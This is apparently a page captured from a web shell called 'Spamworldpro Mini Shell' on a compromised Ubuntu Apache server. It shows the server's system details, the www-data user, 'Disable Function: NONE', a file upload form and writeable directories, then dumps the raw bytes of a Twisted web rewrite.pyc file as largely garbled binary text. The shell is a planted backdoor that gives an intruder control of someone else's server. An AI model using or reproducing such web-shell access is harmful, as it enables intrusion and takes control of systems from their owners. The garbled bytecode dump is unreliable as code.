Spamworldpro Mini Shell
Spamworldpro


Server : Apache/2.4.52 (Ubuntu)
System : Linux webserver 6.8.0-49-generic #49~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Nov 6 17:42:15 UTC 2 x86_64
User : www-data ( 33)
PHP Version : 8.1.2-1ubuntu2.21
Disable Function : NONE
Directory :  /lib/python3/dist-packages/twisted/web/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/twisted/web/__pycache__/rewrite.cpython-310.pyc
o

�bK�@s2ddlmZGdd�dej�Zdd�Zdd�ZdS)	�)�resourcec@s,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
�RewriterResourcecGs tj�|�||_t|�|_dS�N)r�Resource�__init__�list�rewriteRules)�self�origr�r�5/usr/lib/python3/dist-packages/twisted/web/rewrite.pyr	szRewriterResource.__init__cCs|jD]}||�qdSr)r)r	�request�rewriteRulerrr�_rewrites

�zRewriterResource._rewritecCsH|j�d|�|j��|�|�|j�d�}|j�|�|j�||�S)Nr)�postpath�insert�prepath�popr�appendr�getChildWithDefault)r	�pathr
rrr�getChilds

zRewriterResource.getChildcCs|�|�|j�|�Sr)rr�render)r	r
rrrrs
zRewriterResource.renderN)�__name__�
__module__�__qualname__rrrrrrrrrs
rcCs`|jr,|jddd�dkr.d|jddd�g|jdd�<dd�|j|j�|_dSdSdS)Nr��~�users�/)r�joinrr)r
rrr�tildeToUserss �r!cs&��d����d����fdd�}|S)a�
    I am not a very good aliaser. But I'm the best I can be. If I'm
    aliasing to a Resource that generates links, and it uses any parts
    of request.prepath to do so, the links will not be relative to the
    aliased path, but rather to the aliased-to path. That I can't
    alias static.File directory listings that nicely. However, I can
    still be useful, as many resources will play nice.
    rcsR|jdt����kr'|jt��d�}�||_dd�|j|j�|_dSdS)Nr)r�lenr rr)r
�after��	aliasPath�
sourcePathrr�rewriter1s

�zalias.<locals>.rewriter)�split)r%r&r'rr$r�alias%s
	
r)N)�twisted.webrrrr!r)rrrr�<module>s

Spamworldpro Mini